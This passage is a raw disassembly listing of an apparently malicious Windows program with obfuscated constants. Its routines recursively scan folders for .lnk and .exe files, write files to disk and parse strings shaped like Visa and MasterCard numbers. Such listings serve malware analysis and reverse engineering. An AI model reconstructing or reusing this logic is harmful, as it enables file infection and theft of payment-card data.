		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_EF2C]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		movsx	esi, word ptr ds:10013104h
		sub	esi, 4
		sub	edi, esi
		push	edi
		push	10010230h
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	dword ptr ds:10012634h
		add	esp, 34h


loc_41D5FD:				; CODE XREF: sub_41D465+85j
					; sub_41D465+102j
		push	[ebp+var_EF38]
		push	[ebp+var_EE2C]
		movsx	eax, word ptr ds:10013130h
		movsx	edx, word ptr ds:1001316Ch
		add	eax, edx
		sub	eax, 3
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		mov	eax, ds:1001321Ch
		sub	eax, 8
		push	eax
		push	0
		call	dword ptr ds:10012640h
		push	100140C4h
		call	sub_41FB74
		add	esp, 4
		push	eax
		call	dword ptr ds:1000D044h
		mov	[ebp+var_EF30],	eax
		push	[ebp+var_EE2C]
		call	dword ptr ds:1000D044h
		mov	[ebp+var_EF34],	eax
		push	eax
		push	[ebp+var_EF30]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_EF34]
		call	dword ptr ds:10012BA0h
		push	[ebp+var_EF30]
		call	dword ptr ds:10012BA0h
		lea	esp, [ebp-0EF44h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D465	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D699	proc near		; CODE XREF: sub_41AFF0+B6p
					; sub_41AFF0+EDp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:10013280h
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_41D6D7
		mov	eax, 65h
		jmp	loc_41D760
; ---------------------------------------------------------------------------


loc_41D6D7:				; CODE XREF: sub_41D699+32j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:100130CCh
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_41D6F0
		mov	eax, 79h
		jmp	short loc_41D760
; ---------------------------------------------------------------------------


loc_41D6F0:				; CODE XREF: sub_41D699+4Ej
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:1001320Ch
		add	edx, ds:10013120h
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_41D70E
		mov	eax, 75h
		jmp	short loc_41D760
; ---------------------------------------------------------------------------


loc_41D70E:				; CODE XREF: sub_41D699+6Cj
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:100131E4h
		add	edx, ds:10013274h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_41D72C
		mov	eax, 69h
		jmp	short loc_41D760
; ---------------------------------------------------------------------------


loc_41D72C:				; CODE XREF: sub_41D699+8Aj
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:1001328Ch
		add	edx, ds:1001325Ch
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	short loc_41D74A
		mov	eax, 6Fh
		jmp	short loc_41D760
; ---------------------------------------------------------------------------


loc_41D74A:				; CODE XREF: sub_41D699+A8j
		movzx	eax, [ebp+arg_0]
		mov	edx, ds:10013154h
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_41D760
		mov	eax, 61h


loc_41D760:				; CODE XREF: sub_41D699+39j
					; sub_41D699+55j ...
		pop	edi
		pop	ebx
		leave
		retn
sub_41D699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D764	proc near		; CODE XREF: .data:00419A86p
					; sub_41D764+2D8p ...

var_252		= byte ptr -252h
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		cmp	[ebp+arg_8], 0
		jz	short loc_41D792
		mov	eax, ds:100131E8h
		add	eax, ds:100130B8h
		sub	eax, 4
		mov	[ebp+var_248], eax
		jmp	loc_41D822
; ---------------------------------------------------------------------------


loc_41D792:				; CODE XREF: sub_41D764+13j
		mov	edx, [ebp+arg_4]
		mov	ecx, ds:100131C4h
		add	ecx, ds:100131CCh
		sub	ecx, 0Bh
		cmp	ds:1000F630h[edx*4], ecx
		jnz	short loc_41D7C3
		push	ebx
		call	dword ptr ds:1000F60Ch
		mov	eax, ds:100131B8h
		sub	eax, 4
		push	eax
		call	dword ptr ds:10012664h


loc_41D7C3:				; CODE XREF: sub_41D764+47j
		mov	eax, ds:10013154h
		add	eax, 5Dh
		add	eax, ds:1001318Ch
		mov	[ebp+var_248], eax
		push	100140B9h
		call	sub_41C914
		push	[ebp+arg_4]
		push	eax
		lea	edx, [ebp+var_252]
		push	edx
		call	dword ptr ds:10012634h
		add	esp, 10h
		lea	eax, [ebp+var_252]
		push	eax
		call	dword ptr ds:10012668h
		cmp	eax, 3
		jnz	short loc_41D822
		movsx	eax, word ptr ds:1001322Ch
		movsx	edx, word ptr ds:10013144h
		lea	eax, [eax+edx+11Fh]
		mov	[ebp+var_248], eax


loc_41D822:				; CODE XREF: sub_41D764+29j
					; sub_41D764+A1j
		xor	edi, edi
		inc	edi
		push	100140B2h
		call	sub_41C914
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	dword ptr ds:10012634h
		add	esp, 10h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41D846:				; CODE XREF: sub_41D764+E7j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D846
		movsx	ecx, word ptr ds:100131DCh
		add	ecx, 4
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_41D8FC
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D86A:				; CODE XREF: sub_41D764+10Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D86A
		mov	ecx, ds:10013128h
		sub	ecx, 5
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 4Ch
		jnz	short loc_41D8FC
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D896:				; CODE XREF: sub_41D764+137j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D896
		mov	edx, eax
		mov	ecx, ds:10013248h
		movsx	eax, word ptr ds:100130BCh
		add	ecx, eax
		sub	ecx, 6
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 4Eh
		jnz	short loc_41D8FC
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D8CB:				; CODE XREF: sub_41D764+16Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D8CB
		movsx	ecx, word ptr ds:10013150h
		sub	ecx, 6
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 4Bh
		jnz	short loc_41D8FC
		push	esi
		call	sub_41C19D
		add	esp, 4


loc_41D8FC:				; CODE XREF: sub_41D764+FBj
					; sub_41D764+12Bj ...
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41D901:				; CODE XREF: sub_41D764+1A2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D901
		movsx	ecx, word ptr ds:100130BCh
		add	ecx, ds:100131F4h
		sub	ecx, 8
		mov	edx, eax
		sub	edx, ecx
		cmp	byte ptr [esi+edx], 2Eh
		jnz	loc_41D9CF
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D92B:				; CODE XREF: sub_41D764+1CCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D92B
		movsx	ecx, word ptr ds:100130CCh
		add	ecx, ds:100131B0h
		sub	ecx, 0Ah
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_41D9CF
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D95E:				; CODE XREF: sub_41D764+1FFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D95E
		mov	ecx, ds:10013278h
		add	ecx, ds:1001320Ch
		sub	ecx, 5
		mov	edx, eax
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_41D9CF
		lea	ecx, [esi]
		or	eax, 0FFFFFFFFh


loc_41D990:				; CODE XREF: sub_41D764+231j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D990
		mov	edx, eax
		mov	ecx, ds:10013134h
		movsx	eax, word ptr ds:10013250h
		add	ecx, eax
		sub	ecx, 7
		sub	edx, ecx
		movsx	edx, byte ptr [esi+edx]
		push	edx
		call	dword ptr ds:1000D030h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_41D9CF
		push	[ebp+var_248]
		push	esi
		call	sub_4206A9
		add	esp, 8


loc_41D9CF:				; CODE XREF: sub_41D764+1BCj
					; sub_41D764+1F3j ...
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	dword ptr ds:10010258h
		mov	ebx, eax
		movsx	eax, word ptr ds:1001322Ch
		movsx	edx, word ptr ds:10013104h
		add	eax, edx
		sub	eax, 0Eh
		neg	eax
		cmp	ebx, eax
		jz	loc_41DAB9
		cmp	[ebp+var_112], 2Eh
		jz	loc_41DAB5
		push	100140A9h
		call	sub_41C914
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	dword ptr ds:10012634h
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_41D764
		add	esp, 20h
		jmp	short loc_41DAB5
; ---------------------------------------------------------------------------


loc_41DA46:				; CODE XREF: sub_41D764+353j
		lea	eax, [ebp+var_13E]
		push	eax
		push	ebx
		call	dword ptr ds:1000E004h
		mov	edi, eax
		or	edi, edi
		jnz	short loc_41DA77
		mov	eax, [ebp+var_248]
		add	eax, ds:10012638h
		push	eax
		call	dword ptr ds:10012630h
		pop	ecx
		push	ebx
		call	dword ptr ds:1000F60Ch
		jmp	short loc_41DAB9
; ---------------------------------------------------------------------------


loc_41DA77:				; CODE XREF: sub_41D764+2F4j
		cmp	[ebp+var_112], 2Eh
		jz	short loc_41DAB5
		push	100140A0h
		call	sub_41C914
		lea	edx, [ebp+var_112]
		push	edx
		push	esi
		push	eax
		lea	edx, [ebp+var_242]
		push	edx
		call	dword ptr ds:10012634h
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_242]
		push	eax
		call	sub_41D764
		add	esp, 20h


loc_41DAB5:				; CODE XREF: sub_41D764+2A5j
					; sub_41D764+2E0j ...
		or	edi, edi
		jnz	short loc_41DA46


loc_41DAB9:				; CODE XREF: sub_41D764+298j
					; sub_41D764+311j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D764	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DABE	proc near		; CODE XREF: .data:0041F30Ap

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:1001323Ch
		sub	eax, 5
		mov	[ebp+var_4], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD4:				; CODE XREF: sub_41DABE+40j
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		and	dword ptr ds:10010370h[eax], 0
		inc	[ebp+var_4]


loc_41DAEA:				; CODE XREF: sub_41DABE+14j
		movsx	eax, word ptr ds:10013264h
		mov	edx, ds:100130A0h
		lea	eax, [eax+edx+57h]
		cmp	[ebp+var_4], eax
		jb	short loc_41DAD4
		push	0
		call	dword ptr ds:1000F0D0h
		push	10013394h
		push	10014AB8h
		push	7
		push	0
		push	100149F8h
		call	dword ptr ds:1000F624h
		mov	ebx, eax
		mov	eax, ds:1001311Ch
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_41DCE6
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, ds:10013394h
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		mov	eax, ds:10013190h
		sub	eax, 2
		cmp	ebx, eax
		jnz	short loc_41DB66
		mov	eax, ds:1001310Ch
		movsx	edx, word ptr ds:10013208h
		add	eax, edx
		sub	eax, 0Bh
		cmp	[ebp+var_C], eax
		jnz	short loc_41DB6B


loc_41DB66:				; CODE XREF: sub_41DABE+90j
		jmp	loc_41DC76
; ---------------------------------------------------------------------------


loc_41DB6B:				; CODE XREF: sub_41DABE+A6j
		mov	eax, ds:100131D4h
		movsx	edx, word ptr ds:10013130h
		add	eax, edx
		sub	eax, 5
		mov	[ebp+var_8], eax
		jmp	loc_41DC6A
; ---------------------------------------------------------------------------


loc_41DB84:				; CODE XREF: sub_41DABE+1B2j
		mov	[ebp+var_38], 3
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, ds:10013394h
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10013144h
		add	eax, ds:100130A0h
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_41DC67
		lea	eax, [ebp+var_40]
		push	eax
		push	10014AD8h
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100131D0h
		movsx	edx, word ptr ds:10013264h
		add	eax, edx
		sub	eax, 10h
		cmp	ebx, eax
		jnz	short loc_41DC5E
		lea	eax, ds:10013390h
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	10014A18h
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10013110h
		sub	eax, 5
		cmp	ebx, eax
		jnz	short loc_41DC4C
		lea	eax, [ebp+var_48]
		push	eax
		push	10014A18h
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_41FA4A
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41DC4C:				; CODE XREF: sub_41DABE+169j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41DC5E:				; CODE XREF: sub_41DABE+136j
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41DC67:				; CODE XREF: sub_41DABE+105j
		inc	[ebp+var_8]


loc_41DC6A:				; CODE XREF: sub_41DABE+C1j
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_41DB84


loc_41DC76:				; CODE XREF: sub_41DABE:loc_41DB66j
		lea	eax, ds:100133B4h
		mov	[ebp+var_10], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_14]
		push	eax
		push	10014A08h
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr ds:0[esi]
		mov	eax, [ebp+var_10]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	10014A08h
		push	[ebp+var_14]
		push	dword ptr ds:10013394h
		call	sub_41FA4A
		add	esp, 10h
		mov	[ebp+var_18], eax
		mov	ecx, ds:100131CCh
		add	ecx, ds:100130ECh
		sub	ecx, 0Ah
		cmp	eax, ecx
		jnz	short loc_41DCE6
		mov	eax, ds:10013394h
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		and	dword ptr ds:10013394h,	0


loc_41DCE6:				; CODE XREF: sub_41DABE+6Fj
					; sub_41DABE+214j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DCEB	proc near		; CODE XREF: sub_41B354+327p
					; sub_41B354+3B2p

var_16C		= byte ptr -16Ch
var_168		= byte ptr -168h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 16Ch
		push	ebx
		push	esi
		push	edi
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000F600h
		lea	eax, [ebp+var_168]
		push	eax
		call	sub_41FC67
		push	1001409Bh
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		lea	eax, [ebp+var_168]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:1000D020h
		push	10014093h
		call	sub_41C914
		push	eax
		lea	esi, [ebp+var_104]
		push	esi
		call	dword ptr ds:1000D020h
		add	esp, 24h
		push	0
		push	80h
		push	4
		push	0
		movsx	eax, word ptr ds:100130D0h
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword ptr ds:10012788h
		mov	edi, eax
		push	0
		push	0
		push	[ebp+arg_4]
		push	edi
		call	dword ptr ds:10012B9Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_41DD9C:				; CODE XREF: sub_41DCEB+B6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DD9C
		mov	esi, eax
		push	0
		lea	ebx, [ebp+var_16C]
		push	ebx
		push	esi
		push	[ebp+arg_0]
		push	edi
		call	dword ptr ds:10012B8Ch
		push	edi
		call	dword ptr ds:10011654h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DCEB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp-210h]
		push	eax
		push	1000F0F0h
		call	sub_42088C
		add	esp, 8
		mov	[ebp-208h], eax
		test	eax, eax
		jnz	short loc_41DDF6
		xor	eax, eax
		jmp	loc_41DF93
; ---------------------------------------------------------------------------


loc_41DDF6:				; CODE XREF: .data:0041DDEDj
		mov	eax, ds:100130ECh
		add	eax, ds:100130DCh
		sub	eax, 3
		mov	[ebp-204h], eax


loc_41DE0A:				; CODE XREF: .data:0041DF7Fj
		mov	eax, [ebp-204h]
		mov	edx, [ebp-208h]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_41DE1C:				; CODE XREF: .data:0041DE21j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DE1C
		mov	[ebp-20Ch], eax
		cmp	dword ptr [ebp-20Ch], 0FFh
		jnb	short loc_41DE60
		mov	eax, [ebp-204h]
		movsx	edx, word ptr ds:10013230h
		add	edx, ds:100131E8h
		sub	edx, 6
		add	eax, edx
		add	eax, [ebp-208h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_423399


loc_41DE60:				; CODE XREF: .data:0041DE33j
		mov	eax, ds:100130C8h
		mov	esi, eax
		add	esi, ds:100131D4h
		sub	esi, 2
		jmp	short loc_41DE97
; ---------------------------------------------------------------------------


loc_41DE72:				; CODE XREF: .data:0041DEA9j
		cmp	byte ptr [ebp+esi-0FFh], 28h
		jnz	short loc_41DE84
		mov	byte ptr [ebp+esi-0FFh], 2Bh


loc_41DE84:				; CODE XREF: .data:0041DE7Aj
		cmp	byte ptr [ebp+esi-0FFh], 29h
		jnz	short loc_41DE96
		mov	byte ptr [ebp+esi-0FFh], 3Dh


loc_41DE96:				; CODE XREF: .data:0041DE8Cj
		inc	esi


loc_41DE97:				; CODE XREF: .data:0041DE70j
		lea	ecx, [ebp-0FFh]
		or	eax, 0FFFFFFFFh


loc_41DEA0:				; CODE XREF: .data:0041DEA5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DEA0
		cmp	esi, eax
		jb	short loc_41DE72
		push	0FFh
		lea	eax, [ebp-1FEh]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_418755
		add	esp, 0Ch
		mov	ebx, eax
		mov	eax, ds:10013158h
		mov	edi, eax
		add	edi, ds:1001320Ch
		sub	edi, 0Fh
		jmp	short loc_41DF08
; ---------------------------------------------------------------------------


loc_41DEDA:				; CODE XREF: .data:0041DF0Aj
		movsx	eax, byte ptr [ebp+edi-1FEh]
		mov	[ebp-218h], eax
		mov	eax, edi
		mul	edi
		mov	[ebp-21Ch], eax
		mov	eax, [ebp-218h]
		mov	edx, [ebp-21Ch]
		sub	eax, edx
		mov	[ebp+edi-1FEh],	al
		inc	edi


loc_41DF08:				; CODE XREF: .data:0041DED8j
		cmp	edi, ebx
		jb	short loc_41DEDA
		mov	eax, ds:10013110h
		add	eax, ds:10013094h
		sub	eax, 0Ah
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-1FEh]
		push	eax
		call	sub_4188C2
		add	esp, 0Ch
		mov	[ebp-214h], eax
		mov	eax, ds:10013140h
		add	eax, 0FFF6h
		cmp	[ebp-214h], eax
		jz	short loc_41DF56
		push	dword ptr [ebp-208h]
		call	dword ptr ds:1000F61Ch
		xor	eax, eax
		inc	eax
		jmp	short loc_41DF93
; ---------------------------------------------------------------------------


loc_41DF56:				; CODE XREF: .data:0041DF43j
		mov	eax, [ebp-20Ch]
		mov	edx, ds:10013274h
		add	edx, ds:100130A8h
		sub	edx, 2
		add	eax, edx
		add	[ebp-204h], eax
		mov	eax, [ebp-210h]
		cmp	[ebp-204h], eax
		jb	loc_41DE0A
		push	dword ptr [ebp-208h]
		call	dword ptr ds:1000F61Ch
		xor	eax, eax


loc_41DF93:				; CODE XREF: .data:0041DDF1j
					; .data:0041DF54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF98	proc near		; CODE XREF: sub_418999+BA9p

var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C6		= byte ptr -2C6h
var_2C4		= dword	ptr -2C4h
var_2C0		= dword	ptr -2C0h
var_2BC		= dword	ptr -2BCh
var_2B8		= dword	ptr -2B8h
var_2B4		= dword	ptr -2B4h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_253		= byte ptr -253h
var_23F		= byte ptr -23Fh
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_106		= byte ptr -106h
var_105		= byte ptr -105h
var_104		= byte ptr -104h
var_102		= word ptr -102h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_FE		= byte ptr -0FEh
var_F5		= byte ptr -0F5h
var_F4		= byte ptr -0F4h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 324h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0
		jz	loc_41EFC7
		mov	eax, [ebp+arg_0]
		mov	al, [eax]
		cmp	al, 34h
		jz	short loc_41DFBF
		cmp	al, 35h
		jnz	loc_41EFC7


loc_41DFBF:				; CODE XREF: sub_41DF98+1Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_41DFC7:				; CODE XREF: sub_41DF98+34j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41DFC7
		mov	[ebp+var_128], eax
		mov	edx, ds:100131ACh
		add	edx, 0Bh
		cmp	eax, edx
		jz	short loc_41DFF3
		movsx	edx, word ptr ds:10013118h
		add	edx, 10h
		cmp	eax, edx
		jnz	loc_41EFC7


loc_41DFF3:				; CODE XREF: sub_41DF98+47j
		mov	ebx, ds:10013254h
		sub	ebx, 9
		jmp	short loc_41E022
; ---------------------------------------------------------------------------


loc_41DFFE:				; CODE XREF: sub_41DF98+94j
		mov	eax, 30h
		mul	ebx
		mov	[ebp+var_260], eax
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_260]
		cmp	ds:10010370h[edx], eax
		jz	loc_41EFC7
		inc	ebx


loc_41E022:				; CODE XREF: sub_41DF98+64j
		mov	eax, ds:10013138h
		add	eax, 64h
		cmp	ebx, eax
		jb	short loc_41DFFE
		mov	eax, ds:10013234h
		add	eax, 0Fh
		cmp	[ebp+var_128], eax
		jnz	loc_41E20D
		mov	eax, [ebp+arg_0]
		mov	al, [eax+4]
		cmp	al, 2Dh
		jz	short loc_41E054
		cmp	al, 20h
		jnz	loc_41EFC7


loc_41E054:				; CODE XREF: sub_41DF98+B2j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+9]
		cmp	al, 2Dh
		jz	short loc_41E066
		cmp	al, 20h
		jnz	loc_41EFC7


loc_41E066:				; CODE XREF: sub_41DF98+C4j
		mov	eax, [ebp+arg_0]
		mov	al, [eax+0Eh]
		cmp	al, 2Dh
		jz	short loc_41E078
		cmp	al, 20h
		jnz	loc_41EFC7


loc_41E078:				; CODE XREF: sub_41DF98+D6j
		mov	eax, ds:100131ACh
		mov	edx, [ebp+arg_0]
		mov	dl, [edx]
		mov	[ebp+eax+var_104], dl
		mov	eax, ds:10013270h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+1]
		mov	byte ptr [ebp+eax+var_102], dl
		mov	eax, ds:100131D4h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+2]
		mov	[ebp+eax+var_FF], dl
		movsx	eax, word ptr ds:10013100h
		movsx	edx, word ptr ds:10013174h
		add	eax, edx
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+3]
		mov	[ebp+eax+var_106], dl
		mov	eax, ds:10013220h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+5]
		mov	[ebp+eax+var_FF], dl
		mov	eax, ds:1001310Ch
		add	eax, ds:10013248h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+6]
		mov	[ebp+eax+var_100], dl
		movsx	eax, word ptr ds:10013208h
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+7]
